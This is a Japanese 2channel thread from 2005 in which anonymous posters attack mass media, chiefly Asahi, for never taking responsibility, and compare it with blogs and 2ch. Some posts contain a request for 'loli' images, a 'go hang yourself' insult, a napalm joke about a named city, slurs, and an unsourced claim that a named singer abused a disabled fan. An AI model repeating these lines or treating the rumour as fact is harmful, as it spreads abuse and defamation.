自分の使い分けとしては、こんな感じか。
>そのプロセスで、双方の利害、特質、役割分担、将来像などが
>明らかになればと思います。
ぼやっとした形で掴んでいる人は少なくないと思うが、ソレを整理する
のは意義があるように思う。
この板で、マスコミを叩く人が多いのは、プロの当事者であるマスコミが
その役割分担とかを理解していないと感じる人が多いからだと思う。
あとは、プロとしての態度が全くなっていない事とか。
読者・視聴者への応答、取材時の言動・・・そういった直接触れる部分
での憤りも非常に大きいと思う。
>>130 ブログや掲示板は、前から言われてきた情報発信と言う前向きな捉え方だけじゃなくて、
ある種、グチのはけ口としての役割があるのではないかと思う。
日記なら書くだけで自己完結に成るが、
グチは聞いてくれる相手がないといけない。
だから、ブログで公開する、と言う感じでしょうか。
自分は、グチ自体はそこまで悪いものじゃないと思ってる。
世の中どうし様もならないことがあり、それに当ったときに
ある種の意見を言いたいのだが言えない、ブログには
そんな本音が書かれるからだ。
133 :
文責・名無しさん:2005/04/12(火) 09:58:32 ID:ApUMrjsA
一度でいいから見てみたい
誤報、印象操作、捏造、虚報の責任をとるマスコミ
134 :
文責・名無しさん:2005/04/12(火) 22:08:30 ID:geQdo5r6
しかし、マスコミが第一報を請け負えるのって記者クラブ制度のおかげだと思うよ。
記者クラブを廃したら、それぞれの分野にマスコミ以外のスペシャリストが入り込んで、彼らがブログに速報をうpなんてこともできるんじゃないのか?
135 :
gao:2005/04/12(火) 23:08:50 ID:bIpEZKwx
130です。マスコミはできそきこないの鉄鋼業。
鉄がなければ、日本はやってこれなかった。当然今後もやっていけない。
でも、今後は役割が縮小していく。
また、鉄鋼業界は円高でも生き残る企業努力もし、
韓国などの新興工業国の格安価格とも激烈な競争を行い、
高付加価値商品の開発、生産をし、今も市場競争にさらされている。
それに比し、マスコミは日本語圏でのうのうとし、かつ記者クラブ制度を
守り、値段も産経と日経以外は同一という不可思議な価格設定。
こんな業界を、マスコミは談合だらけと呼ぶ。他者や権力の批判なんて
ほんとにできるのかな。マスコミ業界の人いたら、答えてください。
いるはずでしょ?。まあ、いいや。どうでも。
この掲示板の中で、議論進めましょう。卑怯者は無視してね。
都なんかは既に、都知事の会見をネットで生放送してるんだよな。
勿論、過去の会見も見れるし。
確かに同時接続数などの問題はまだあるけど、当事者がこうやって自分で発信してけば
地道な取材活動をしない、記者クラブべったりのマスゴミなんかマジでいらなくなるよな。
こうやって当事者が全部流してくれれば、マスゴミお得意の編集も出来ないわけだし
加工されて無い情報を直接手に入れられるといいこと尽くし。
ちょっとずつ縮退させてくべきだろう。一気に潰れたらプロ市民バースト現象が起こる。
>>126 どういうことって、自分の間違いを認めて謝罪したり責任取ったり
したくないという、普通の人間の感情ですよ。別に珍しくもない。
2chだって間違いを指摘されると逆ギレしたり逃亡したりする人いるし。
マスコミだからどう、2chだからどうってのはあんまり意味ないよ。
どっちも同じ、人間同士のやりとりなんだから、同じ現象が現れるのは当然。
139 :
文責・名無しさん:2005/04/13(水) 15:18:31 ID:OrPl7Az8
>138
三菱自動車や雪印や社会保険庁の中の人も自分の間違いを認めて
謝罪したり責任取ったりしたくないという、普通の人間の感情だった
わけですよ。
そんな普通の感情のままの行動がマスゴミに批判されたわけだが。
で、一般企業、官公庁、マスゴミ業界、ネットで遊ぶ人々・・・
その違いはなに?
>138
140 :
文責・名無しさん:2005/04/13(水) 18:50:17 ID:mUJSfc5+
>>138 それがいかんということじゃ。
公的役割を担ってるマスコミがそんなんでいいの?ということ。
個人でももちろんよくないが、
そのよくない攻撃はするくせに自分がよくないと認めないのはいかんぞ、ということ。
そういう大人のふりを見て子供は育っていく。
どうせ偽善を演じるなら演じきれ(それはいずれ本当になる)、でなきゃわかる偽善なんて演じるな。
ということさ。
141 :
文責・名無しさん:2005/04/13(水) 19:01:40 ID:BWRwW8IB
マスゴミが責任ととったいう話は
聞いた事がないねー。
特に、朝日やテロ朝はそれの典型だ。
誤報(確信犯だと思うが)しても、誤りを認めず
ほとぼりが冷めた頃、言い訳だけはしっかりとして
論調をずらす。
マスゴミの胡散臭さは、多くの国民が気付き始めている。
142 :
文責・名無しさん:2005/04/13(水) 19:06:13 ID:ik/46WC3
そんな事より、日本のアース・ホール
香川県観音寺市をなんとかしてください
場合によっては、ナパーム弾の使用許可を
143 :
文責・名無しさん:2005/04/13(水) 22:17:04 ID:sC6cWNI6
2chで朝日新聞をこれだけ批判してもなにも変わらないのが残念だ。
144 :
文責・名無しさん:2005/04/13(水) 22:23:11 ID:ZHNO+AMd
>>143
いまさら、変えようにもできないんだろ。
新聞購読料の銀行引き落としは止めた方がいい。
145 :
gao:2005/04/13(水) 22:56:00 ID:YGUWA0Rc
マスコミの基本3原則・客観・中立・公正について
客観・どの現象を記事、ニュースにするかは、主観によって決定
中立・朝日は日本国社内報極左、産経は極右、読売は政府広報、毎日は
スポンサーが層化、日経は日本株式会社社内報。
テレビ各種は大衆愚民化工作員
公正・新聞テレビ各社は公正に政府や役所、警察、たまに民主党関連の
広報をつとめること。
あるわけないよな公正なんて。公正を求める努力も捨てていると、
思われ・・・。
146 :
文責・名無しさん:2005/04/15(金) 09:38:15 ID:zjLA0mNa
昨日発売の週刊文春を読むと、朝日は営利企業としての責任は取るみたいだね。
147 :
文責・名無しさん:2005/04/15(金) 09:43:33 ID:6g1pMN4K
だからって、カウンセリング番組は必要無い
全然前向きじゃない
産経が極右に見える時点でおわっとる
149 :
文責・名無しさん:2005/04/15(金) 14:06:26 ID:1w5cvaUV
マスコミが責任取ったとこなど
一度も見た事がない
150 :
文責・名無しさん:2005/04/15(金) 14:18:54 ID:cCINjxsv
朝日新聞の無責任報道は有名だけどね。
マスコミほど言論の自由を嫌う集団はないだろ。
言論の自由という印象操作は「差別」という言葉の使い方と似ている
ようは権益欲しさの洗脳だろ?なんとか裁けないもんかね
大体において、マスコミは有償のサービスを提供しているわけで、
そのサービスに瑕疵、つまり誤報や捏造があれば、それは顧客に対して
説明して、訂正謝罪を行う必要があるし、ちゃんと責任者を処断しなければ、
今後の信頼に関わる問題になる。
ブログがーやねらーてのは趣味でやってるわけで、
刑事的、民事的な責任が発生するならまた別だけど、そうでないものなら、
信頼は失うけど、それ以上の責任を取る必要性がないがな。
>>152 今後の信頼に関わる問題になる。
今のマスコミなんて、信用何か要らないじゃん。
なんかもうどうしようもないな。マスコミ
155 :
文責・名無しさん:2005/04/16(土) 04:34:45 ID:JLZgzvTp
そういやNHKは責任取ったな。
で、朝日新聞は?毎日新聞は?TBSは?
マスコミ=洗脳用垂れ流し電波、虚偽報道はこっそり隠れて訂正
blog=書いた瞬間から反論あり
2ch=好き勝手にかけるが、好き勝手に反論される。
マスゴミがよくいう言論の自由ってなんだろね。
マスゴミの自由の間違いじゃないの?
国家権力の検閲からの自由だよ。>言論の自由
158 :
文責・名無しさん:2005/04/16(土) 08:34:29 ID:dtiiJg8q
>157
自分の国家以外からの検閲OKってことですか?
ある意味そうだな、マスゴミの解釈は。
中国・朝鮮・似非人権平和団体・・・
そういうところからの圧力大好きだもんな
159 :
文責・名無しさん:2005/04/16(土) 08:40:03 ID:1FLgH4Mk
朝日新聞の記事は他新聞と比べて一番まともではないだろうか?
日本が右傾化しないように社説で繰り返し述べている。
はき違えた愛国心を煽るようなマスコミを信じてはいけない。
売れさえすればいいという軽薄な商魂の論説ばかりが、
国を危うくするのは太平洋戦争で懲りたであろう。
機会ある毎に日本の過去の過ちに対する反省を促し、
関係諸国との友好を深めようとしているのが朝日新聞である。
なまじ知った歴史の一部で全てがわかった顔をすると恥をかくだけだ。
のうのうと生きていられるのは平和憲法のおかげであることは間違いない。
できもしない自主防衛を唱えていては過去の過ちを繰り返すだけである。
不利なことがわかっていながら、国民を煽って戦争に突入し、
買い物も切符が無ければ買えもしないような生活をさせながら、
運用される資金はすべて軍事行動向け。
動力になるべき燃料もなく、資源も無い日本が何の大義もない戦争を
推し進めるのは狂気の沙汰としか言い様が無い。
進軍ラッパをもう一度聞きたいのか?
160 :
文責・名無しさん:2005/04/16(土) 08:46:02 ID:C4WWxdoJ
人には検証を促すのに自分には検証できていないのがマスコミ
161 :
文責・名無しさん:2005/04/16(土) 08:50:43 ID:qr2rjkTI
日本のマスコミのいうジャーナリズムとは、事前に
記事・放送のシナリオを描いて取材に行き、
シナリオに合わない証言・証拠は無視して
人々に公表することである。
これじゃ事実と違っても責任とれんよな。
社員がいなくなっちまう。。。
162 :
文責・名無しさん:2005/04/16(土) 09:10:27 ID:SR4/vAxR
映画インサイダーですか
あんなもん見せて、ナニをやれってんだ
163 :
文責・名無しさん:2005/04/26(火) 07:21:26 ID:bu26SMyD
164 :
文責・名無しさん:2005/04/26(火) 07:25:18 ID:MA/85qbA
169 :
文責・名無しさん:2005/05/11(水) 12:58:53 ID:gZbYRUUt
朝日はいつまで経っても捏造報道の責任取らないね。
朝日のホンダ、読売のヒゲ、TBSの盗作部長…
業界ぐるみで匿っておいて何言ってんだか。
マスコミの情報には、スポンサーやイデオロギー・政治的思惑などの
フィルターなどが常にかかっていることを忘れてはならない。
あと、ヤラセや編集マジック・世論調査時の設問解答の設定による
印象操作もあるかな。
172 :
文責・名無しさん:2005/05/22(日) 15:04:23 ID:HUs2pzPK
>>1 朝日はサンゴ事件の捏造で、取り潰し食らってもおかしくないはずですが
社長が辞めただけでしたね。
174 :
文責・名無しさん:2005/05/30(月) 13:30:40 ID:+xV0Up01
175 :
文責・名無しさん:2005/06/07(火) 11:06:02 ID:3G8aY02i
>>173 その珊瑚で辞めた香具師にずいぶん手厚い補償をしたみたいやね
176 :
文責・名無しさん:2005/06/08(水) 21:23:26 ID:/e5g2CcN
ttp://www.itmedia.co.jp/anchordesk/articles/0505/26/news065.html > 「1対N」であると言われているテレビや新聞と違って、「1対1」が原則であった通信の
>世界では、これまで公正中立であるべきとの考え方は必要とされてこなかった。
> ネット情報の速報性は高く評価されるべきである。しかし、全ての情報をネットから
>だけ取るのではなく、その情報に関わる新聞やテレビなどといった既存の
>ジャーナリズムの声にも耳を傾けていくべきだろう。双方に一長一短がある以上、
>両方をうまく使いこなすことが、本当のメディアリテラシーだと筆者は考える。
あ〜なんか、マスゴミOBの情報意識って所詮この程度の薄っぺらいものだねと実感。
ついでに韓国マンセーしているところナンザ、未だに悪い癖が抜けてないのかな?
177 :
文責・名無しさん:2005/06/08(水) 21:49:16 ID:gTodQWCS
まあ結局マスゴミは情報の独占という既得権益をネットに
侵害されるのを嫌っているわけだ。あれほど評判の悪い
記者クラブ制度を決して手放さないのと一緒だな。再販制度
といい、新聞は既得権益の維持に必死な俗物の集団に
過ぎないな。ここまで来たら、もはや国民の敵だろう。
彼等の唱える「言論の自由」は「新聞社の言論の自由」に過ぎず
「国民の言論の自由」は抑圧したがるわけだから。
178 :
文責・名無しさん:2005/06/08(水) 21:58:12 ID:O9M2dTXo
情報伝達ができれば手段は関係無い
179 :
文責・名無しさん:2005/06/09(木) 08:25:26 ID:TTXiDhqu
>>177 >「国民の言論の自由」は抑圧したがるわけだから
うん。新聞社は「本当の国民の言論の自由」は認めたがってないような気がする。
180 :
文責・名無しさん:2005/06/09(木) 22:33:46 ID:hOnHP8f/
>179
新聞社も通信社も放送局も自分たちの身勝手な妄想垂れ流す権利しか考えてません。
報道の自由とやらが、国民の知る権利と思想の自由と表現の自由から成り立っている事も無視してね。
国民の知る権利を抑圧し、思想の自由を制限し、表現の自由も弾圧するマスゴミ業界。
ほんと、一旦消えていいよ。
181 :
文責・名無しさん:2005/06/17(金) 17:43:55 ID:EYf4Uxxs
マスコミが責任取ったって具体的に何があるっけ?
ゴミボマーなんてアレで責任取ったことになるの?
182 :
文責・名無しさん:2005/06/17(金) 19:49:04 ID:Lpkh2PVl
>>182 しかも最初はどんな罪でも受け入れるといってての恩赦。
口だけかっこいいことを言うマスコミの実態が証明されたし
それに誰も突っ込まない他のマスコミも身内にはまい
ことが証明された。
184 :
文責・名無しさん:2005/06/30(木) 23:59:09 ID:soYp3rVa
>>183 甘過ぎだよな。
T豚Sの盗作部長も追跡しないし
185 :
文責・名無しさん:2005/07/16(土) 23:16:24 ID:RU2tve6P
サラ金CMの多いこと気軽に借りる人が増えたんじゃないか。
187 :
文責・名無しさん:2005/07/31(日) 21:22:29 ID:JrMjRGUP
プライバシー侵害(特に身内に対して)は「不当だ」と言い張るくせに、
他人に対するプライバシー侵害は正当化してる。
個人のプライベートに対しても「知る権利」を適用するのは問題あるな。
そして自らが正当な「世論」だと一般市民に洗脳してるのは恐ろしいな。
精神的に思想抑圧する煽動世論は、もはや世論じゃないよ。
だからネット(ブログ・2ch含む)によるマスコミ監視が必要だと思う。
ブログは思想抑圧なくピュアな個々の自由な意見が書けるし、
2chも「便所の落書き」みたいなところが多いけど、
結構まともなこと書いてることも多いからな。
それが逆にマスゴミがネットを不当化し、自らの正当性保護のために
ネットを潰そうとする動きに繋がってるかもしれんな。
>>1 つ 日比谷焼きうちへの誘導 by朝日新聞社
189 :
文責・名無しさん:2005/07/31(日) 21:33:14 ID:GmH844BF
マスゴミは、其の権力を乱用し、マスゴミに因る恣意的な情報操作、恣意的な情報隠蔽、偏向報道、偏向放送、それに因る弊害の惹起助長という大罪に対し、まったく、反省していないし、責任を取ってもいないし、其のマスゴミの大罪を償ってもいない。
190 :
文責・名無しさん:2005/07/31(日) 21:48:44 ID:HA53aXxJ
何言ってんだか。2ちゃんはサヨクばっかりだろ?
いろんな板見てみろよ。
金欲しい、地位が欲しい、人に誇りたい、学歴だ、女だ。でも楽したい、公務員最高。
不当なことしてでも儲かり、安定するのが勝ち。たとえ国家の負担になっても。批判
するヤツはその立場を手に入れられなかったやつの僻みだ。
他人を批判したい。優越感に浸りたい。掲示板の匿名性を利用して好き放題。
犯罪者だ、吊るし上げろ。法?関係ないね。それが間違っててもダレがやったか分
かるまい。自分も批判する側に回ればまた批判できて気持ちいいだけ。
ダブルスタンダードを指摘されても、ここは匿名掲示板、自分ではないといえば済む。
権利だ。発言する権利だ。義務?そんなの知らない。ない。自由を守るんだ。自由は
権利だ。書き込みに分別つける義務なんて果たさない。面白ければ何でもいいだろ?
こういう連中の叫ぶ「愛国」。これは肥大化した自己を国家に重ねて、反論しにくいよ
うに相手を否定し、また仮に反駁されてもそれは自分にではなく、国家に対する反駁
として扱える、とっても便利な言葉に過ぎない。
191 :
文責・名無しさん:2005/07/31(日) 22:02:35 ID:JAP+uypC
>190
何言ってんだか。マスゴミは基地外ばっかりだろ?
いろんな新聞・テレビ見てみろよ。
金欲しい、地位が欲しい、人に誇りたい、学歴だ、女だ。でも楽したい、公務員批判最高。
不当なことしてでも儲かり、強奪する奴が勝ち組。たとえ国家・国民の負担・被害なんて気にしない。
マスゴミ批判するヤツはその立場を手に入れられなかったやつの僻みだ。
他人を批判したい。優越感に浸りたい。紙面・番組の匿名性・影響力を悪用して好き放題。
政治家だ、企業家だ、オタクだ、吊るし上げろ。法?倫理?関係ないね。それが間違ってても業界と会社が隠蔽して庇うから問題ない。
自分はいつも批判する側だから気持ちいいだけ。
ダブルスタンダードを指摘されても、一方通行のメディアだから言い切って遁走すれば問題ない。
権利だ。報道する権利だ。義務?そんなの知らない。ない。自分たちの好き勝手な自由を守るんだ。自由は権利だ。記事や番組の責任なんて感知しない。面白ければ、売れれば何でもいいだろ?
こういう連中の叫ぶ「平和・平等・人権」。これは肥大化した自己を理想社会に重ねて、反論しにくいように相手を否定し、また仮に反駁されてもそれは自分にではなく、理想社会に対する反駁として扱える、とっても便利な言葉に過ぎない。
192 :
文責・名無しさん:2005/07/31(日) 22:17:29 ID:JrMjRGUP
193 :
文責・名無しさん:2005/08/01(月) 00:29:37 ID:7vtkyd9Z
とりあえず
>>1には雑誌・新聞の記者、
及びテレビでは現場に同行したディレクターやカメラマンの
実名も公示するよう要請させたい。
責任をとるならその所在・当事者を明確にすべき。
我々は1を逃がしてはならない。
194 :
文責・名無しさん:2005/08/01(月) 00:30:21 ID:+6r/gfS2
195 :
文責・名無しさん:2005/08/01(月) 21:15:53 ID:7vtkyd9Z
やっぱ半匿名で人を晒してる癖に
責任とると言っても説得力ないな。
ずるい人たちだね。
196 :
ZT092159.ppp.dion.ne.jp:2005/08/01(月) 22:28:55 ID:za7EHzZV
ロリ画像ください
197 :
文責・名無しさん:2005/08/01(月) 23:47:01 ID:/SYa9s7m
198 :
この人が言ってることが事実で全部なんだよな:2005/08/02(火) 00:20:40 ID:J6nz6RAt
191 :文責・名無しさん :2005/07/31(日) 22:02:35 ID:JAP+uypC
>190
何言ってんだか。マスゴミは基地外ばっかりだろ?
いろんな新聞・テレビ見てみろよ。
金欲しい、地位が欲しい、人に誇りたい、学歴だ、女だ。でも楽したい、公務員批判最高。
不当なことしてでも儲かり、強奪する奴が勝ち組。たとえ国家・国民の負担・被害なんて気にしない。
マスゴミ批判するヤツはその立場を手に入れられなかったやつの僻みだ。
他人を批判したい。優越感に浸りたい。紙面・番組の匿名性・影響力を悪用して好き放題。
政治家だ、企業家だ、オタクだ、吊るし上げろ。法?倫理?関係ないね。それが間違ってても業界と会社が隠蔽して庇うから問題ない。
自分はいつも批判する側だから気持ちいいだけ。
ダブルスタンダードを指摘されても、一方通行のメディアだから言い切って遁走すれば問題ない。
権利だ。報道する権利だ。義務?そんなの知らない。ない。自分たちの好き勝手な自由を守るんだ。自由は権利だ。記事や番組の責任なんて感知しない。面白ければ、売れれば何でもいいだろ?
こういう連中の叫ぶ「平和・平等・人権」。これは肥大化した自己を理想社会に重ねて、反論しにくいように相手を否定し、また仮に反駁されてもそれは自分にではなく、理想社会に対する反駁として扱える、とっても便利な言葉に過ぎない。
199 :
文責・名無しさん:2005/08/02(火) 02:01:08 ID:lXHLCVuN
検閲でもされてんのか?
【政治】"永岡議員自殺"で、亀井氏ら執行部批判「郵政で相当悩んでいた」★5
http://news19.2ch.net/test/read.cgi/newsplus/1122910347/ 14 名無しさん@6周年 New! 2005/08/02(火) 00:35:42 ID:SjvljMHe0
NHK10時のニュース、深夜のニュース共に永岡議員の自殺の件を完全スルー。
全く報道しなかった。
漏れの見間違いかと思って他のスレでも聞いてみたが間違いない。
184 名無しさん@6周年 sage New! 2005/08/02(火) 01:33:54 ID:MbNSVxp20
なんでニュースはみんなスルーなの?
どうなってんの日本国って?
人権擁護法案の時もそうだけど、なんで一般大衆の目に触れないようにされてるの?
200 :
文責・名無しさん:2005/08/13(土) 16:55:39 ID:YDiNPCjQ
永岡の嫁が出るらしいね
201 :
文責・名無しさん:2005/08/13(土) 18:19:38 ID:XtZ4nOLI
違法な事やりゃネットの匿名性なんて全く無意味だが
マスコミは違法な事、捏造やっても特権階級だからスルーしてもらえる。
いいよなー。
202 :
文責・名無しさん:2005/08/13(土) 19:47:03 ID:lVBHXlB5
朝日新聞は責任を取らない。サラ金から裏金取っといて
ばれたら「返しました」で知らんぷり。実は各方面から
裏金取りまくりではないかと推察される。
203 :
文責・名無しさん:2005/08/13(土) 19:50:52 ID:LUrcTeR+
204 :
文責・名無しさん:2005/08/13(土) 20:29:59 ID:dAu8WZFQ
>>1 責任があれば何をしても良いとでも?
不特定多数に放送するマスコミが嘘八百言えば
当然責任に問われるに決まってるだろ
205 :
文責・名無しさん:2005/08/13(土) 20:50:53 ID:4akW81tP
ネット情報はスピードと全方位性。
信頼性は2番目以降でもいい。
マスメディアと明確な違いがある。
これから、ネット情報専門の知識人とか、
2ちゃん情報を持って、テレビ討論系番組にでる電波系アイドルや
占い師ってのはあり得るかも知れん。
マスとネットの繋げる仕事が浮いた状態だからね。
206 :
文責・名無しさん:2005/08/13(土) 20:57:41 ID:jLpTLp6F
朝日は、読売は、という書き方がときどきあるが、
似たようなもんだぞ、社説以外は。
207 :
文責・名無しさん:2005/08/14(日) 02:00:21 ID:e3dqxHfu
>>186 それはお前らが大好きな「自己責任」だろ
>>206 ときどきじゃなくてそんな話ばかりしてるよ。この板は。
似たようなものなのはたぶん当人達もわかってるだろうけどね。
ここは特定のマスコミにいれこむ変な人が多いから。
209 :
文責・名無しさん:2005/08/14(日) 11:43:09 ID:QVFVMPhR
前スレ読んどらんのだが、スレタイに対して
マスコミが責任取ったことあんのか。
笑わせるな。
210 :
文責・名無しさん:2005/08/23(火) 12:07:34 ID:6AH/p428
低落状態に歯止めが掛からないねぇw
朝日は脱税した責任をとらない
捏造報道は言うに及ばず
212 :
文責・名無しさん:2005/08/30(火) 07:07:51 ID:yph8xNBX
213 :
文責・名無しさん:2005/08/30(火) 09:22:48 ID:FN/g/N10
今の時代、どの業界の天下の大企業でも、不祥事を起こせば
倒産寸前まで行くことも珍しくないのに、マスコミ業界だけは例外だね。
まさに殿様商売だ。
215 :
文責・名無しさん:2005/09/12(月) 18:37:21 ID:9BLJ+Sgl BE:124482454-
マスコミも完全に2ちゃんを無視できなくなったみたいだな
216 :
文責・名無しさん:2005/09/12(月) 19:22:02 ID:WXEWujT3
は?
だなスレタイ。
北鮮楽園、ポルポト賛美、ヤラセ、捏造、
責任なんかとってないじゃんw
217 :
文責・名無しさん:2005/09/12(月) 19:52:16 ID:6ffhEBMb
戦争まで引き起こしておいて
未だにのうのうと捏造記事垂れ流してるのもいるよ?
朝日とか朝日とか朝日とか
あと朝日とか
218 :
文責・名無しさん:2005/09/12(月) 19:58:45 ID:O1Kp5IzB
過疎スレ。
この板は嫌朝日、反日 中国 朝鮮にしか興味がない人ばかり。
マスコミそのものの話題はまるで盛り上がらない。
220 :
文責・名無しさん:2005/09/15(木) 07:21:22 ID:SWBQ2mg0
>219
>嫌朝日
221 :
文責・名無しさん:2005/09/15(木) 10:05:35 ID:rgpZMifi
222 :
文責・名無しさん:2005/09/15(木) 12:08:52 ID:88e24FTu
マスコミが責任を取るだって?
よほど物を知らんばかが立てたスレらしい。
マスコミのうじむしどもは陰湿ひれつるな手段でいくら精神的苦痛を与えようが物理的金銭的損害を与えようが
善人づらして腐った頭を下げればすむと思ってるキチガイどもだよ。
あとから腐った頭を下げてればなんでも許してもらえると思い込んでるかすだから永久にやりたい放題。
こいつらは今までただの一度も責任など取ったこともなければ謝罪などしたこともない。
これから先もな。
謝罪とか責任とか、下等生物にそんな高尚な概念などないよ。
223 :
文責・名無しさん:2005/09/15(木) 12:29:16 ID:OTa7ULsx
>217
あと朝日な。
>>220 朝日叩きと言い直そうか。
この板いつも着ても同じ話ばかり。
224変換わすれた。
いつも決まった話ばかりで
それ以外ほとんどカキコミも反応もない。
226 :
文責・名無しさん:2005/09/15(木) 13:50:04 ID:OQqMtA9N
加藤とか古館とか筑紫とかを俺は痛いコテと同レベルで見てるよ。
所詮彼らの意見も2ちゃんに書き込めばただの意見の一つに過ぎないし。
媒体がテレビってだけで言ってる内容はそんなレベル。
>>226 しかしテレビ見てる人はテレビ出てるってだけで何か特別なものだと思ってるようだが。
もう現在はマスコミがどうっていうよりテレビを崇めてる視聴者がおかしいんじゃない?
テレビ局不祥事おこして責任とらなくてもそのテレビ見つづける姿勢もおかしいし。
捏造して裁判怒られるような番組でも視聴者は見る。
視聴率が落ちなければテレビの人間は反省もしない。
数々の問題をおこしたNステとか何年続いたんだか。
見てる視聴者が悪いとしかいいようがない。
229 :
文責・名無しさん:2005/09/15(木) 16:54:33 ID:9YKEn0O6
マスゴミは責任取ること自体希有だけどね
責任とらなくてもいいと甘やかしてるのは視聴者読者。
231 :
文責・名無しさん:2005/09/16(金) 00:24:16 ID:+4gcvFw7
>230
甘やかさないように、クレーム入れてます。
クレーム処理する気無いみたいだけどね。
232 :
文責・名無しさん:2005/10/02(日) 00:34:14 ID:F/MMZU3d
| |.. __
| |─|□|
| |─|■|
| |.  ̄
| |
| |
|_|
| |
| ̄| ヽ ∧_∧ ワシャ目が見えんでのー
""""""""ヾヾ( ●∀●)"""""""""""
\ \ノ( \)ヽ \ \
\ ノ >\  ̄ .\
\ \ ̄ ̄ ̄\ \. \
\  ̄ ̄ ̄ ̄ ̄ .\
""""""""""""""""""""""""""""""""""
233 :
文責・名無しさん:2005/10/02(日) 01:53:00 ID:TlYFIWCa
仕事で失敗したら責任とるのが当たり前。まあ、マスコミなんてさらっと謝罪すれば済むけどな。
ブログや2chの書き込みは趣味の世界。何の責任があるのかね?責任あると思うならクソスレ立てた1は首括って氏ねや。
234 :
文責・名無しさん:2005/10/02(日) 04:35:29 ID:sFUAZbKd
マスゴミが責任取るような法律を作ると公約した政治家には必ず投票する
>>234 仮にそんな法律ができたら、憲法21条で保障されている表現の自由は100%否定される結果になるぞ。
わかる?お前が2chで好き勝手言うこともできなくなるってことだ。
236 :
文責・名無しさん:2005/10/02(日) 06:53:09 ID:ZCHVNBmJ
2chに文句を言う人は、正当な掲示板を作れ・・・
237 :
文責・名無しさん:2005/10/02(日) 07:07:35 ID:ChQHfyR0
朝日新聞はガセネタ社外流出の犯人さえ見つけられないのだから、
彼らがいう便所の落書きの2CHより悪質。
しかも天の声を人が語るなどとほざいている。
天の声だと詐欺師が騙る新聞だ。
朝日は、即刻NHK問題の原因を究明して責任を取れ。
それとも裏づけのないニュースを勝手に捏造して責任取らなくていいの?
238 :
文責・名無しさん:2005/10/02(日) 09:04:25 ID:YRENLbP3
>235
業としての行為には、責任を取らすって事で良いんじゃないの?
何かを規制する法律の多くは、業をより厳しく罰する規定があるんだし。
根拠のぁゃιぃ自主規制やらで、特定アジアや特定宗教を批判できない時点でマスゴミが表現の自由を真面目に考えているとは、既に誰も思ってないですよ。
239 :
文責・名無しさん:2005/10/02(日) 09:10:51 ID:mWhQ5w7y
朝日新聞よりは責任を取りますが???
by 便所の落書き
240 :
文責・名無しさん:2005/10/02(日) 09:31:51 ID:aydspmNB
>>235 ん?
テロリストを有罪とする法律を作ったら思想の自由が100%否定される結果になるのか?
オウム真理教徒の行動を阻害する法律は信教の自由を100%否定するのか?
あんたが言っているのはそれと同じだぞ。どういう理屈だよ。
「表現の自由」ってのも他の憲法上の規定と同じはずなのに、
何故かこれだけが特別扱いされて、
自由があるから悪いことをやっても良い、みたいにいまだに思われている。
いかに俺らが長い間にわたって、慢性的にマスコミに洗脳されていたかがよくわかる。
241 :
文責・名無しさん:2005/10/02(日) 11:25:30 ID:NOnpGg87
とりあえず、悪質な捏造報道をした奴は、社会に与える影響の面からも
しっかりと法律で罰せられるべき。
そういう法律がない方がおかしい。
第四の権力たるマスコミだけが、少くとも法的には何の拘束力もなく
捏造しまくることができるというのは、社会制度上極めて問題がある。
242 :
文責・名無しさん:2005/10/02(日) 11:29:09 ID:fUQFInt8
マスコミ、責任取ってないやん・・・
243 :
文責・名無しさん:2005/10/02(日) 11:47:02 ID:yubCaPxK
マスゴミは自分達の権利ばかり主張して義務は果たさないゴミ。
まさに自由や権利を、はきちがえてるガキとなんら変わらない。
元雑誌編集長で、謝りに来たバス運転手の名前とかをブログで
公開した人とかは責任を取ったの?
245 :
文責・名無しさん:2005/10/02(日) 12:17:18 ID:6nRKYSbH
今回の朝日で、「マスコミが責任を取る」なんて言いぐさが嘘八百であることが
明らかになっただけでも良い事じゃないの。
責任を取りたがらないからこそ、層化、B、総連などのタブーを勝手に作り出して
来たわけで。
246 :
文責・名無しさん:2005/10/02(日) 13:57:54 ID:FNSJtLq/
朝日は特アにのみ責任を取る
247 :
文責・名無しさん:2005/10/02(日) 15:06:12 ID:4srWQlWv
ttp://www5d.biglobe.ne.jp/~EMPEROR/hamaayu.mpeg 浜崎「1番前なのに座ってるよ。みんなどう思う?感じ悪いよね〜。」
客「お前らだよカス!あゆに迷惑かけんな!さっさと立てよ!」
母親「すみません、この子足が不自由で立てないので・・・」
客「うざ〜〜、アユに迷惑かけんならくんなよ!」
客「そうだそうだ!帰れよー!」
母親「本当に申し訳・・(涙)・・・」
客「お前ら帰れ、邪魔邪魔!」
娘「お母さん・・もう帰ろう・・本当にごめんなさい」
母親「・・・(涙)」
浜崎アユミが障害者に対して暴言を叩いた事件
皆さんコレをどう思いますか?
ダレもがアユをキライになりますよ
このヒトはマスコミに金払って口止めしてるから
TV等で放送されない
スレ違いだったらスマソ・・・orz
248 :
文責・名無しさん:2005/10/19(水) 00:33:51 ID:bejlARYN
TV局が責任を取るのは当然、国民の共有財産である地上波をただで独占使用してるんだからね。
公務員の不祥事と同じ扱いだよw
でも、TV局はせきにんとってないけどさw
やらせ報道でだれか辞任したのか?
雪印は社長が辞めたけど、フジは
や
め
た
の
か
?
250 :
文責・名無しさん:2005/10/20(木) 21:44:56 ID:/YYpigcj
おい、ゴミども、
正 論 す ぎ て 反 論 で き な い の か ?
251 :
文責・名無しさん:2005/10/20(木) 21:47:50 ID:rM/ebV9H
252 :
文責・名無しさん:2005/10/21(金) 06:43:28 ID:1UMyItnX
今時新聞・テレビが信用できるなどとほざく香具師は、知的に怠惰
なんじゃね?
マジいい情報がほしければ、ネットの情報とその道のプロのレポ
ートや人脈上の情報を比較検証すればいいし。専門的な事は専門家
に聞けばいい。もし金に余裕のある香具師なら色んな所から生臭い
情報を集められるしな。
人生のスキルとして、ネット以外にいろんなソースを持つのは
当たり前じゃん。マスゴミの大嘘なんかいらねーよ。
253 :
文責・名無しさん:2005/10/21(金) 11:08:27 ID:ZQnBvdLm
>>252 ひろゆきが朝日に書いてたけど、マスゴミは事実のアッセンブルだけしてた方がいいかも。
>>252 いかに知的に怠惰でも、そういう奴が有権者の過半数いれば
それで日本全体の運命が決まってしまうんだよ・・・
255 :
文責・名無しさん:2005/10/22(土) 16:48:15 ID:rBhNEt7l
マスゴミの連中は、「知的に怠惰なのが多いから、」
と自分たちが偉いとばかりに情報を歪曲するわ捏造するわ・・・。
責任をとるなら新聞、雑誌とも記者は文責名をきちんと書くこと。
テレビではカメラマンと取材者の名をフリップで流すこと。
匿名報道をする限り、マスゴミ関係者は2ちゃんねる以下。
256 :
文責・名無しさん:2005/10/22(土) 16:55:47 ID:Mk0fp5NL
マスゴミ批判は、
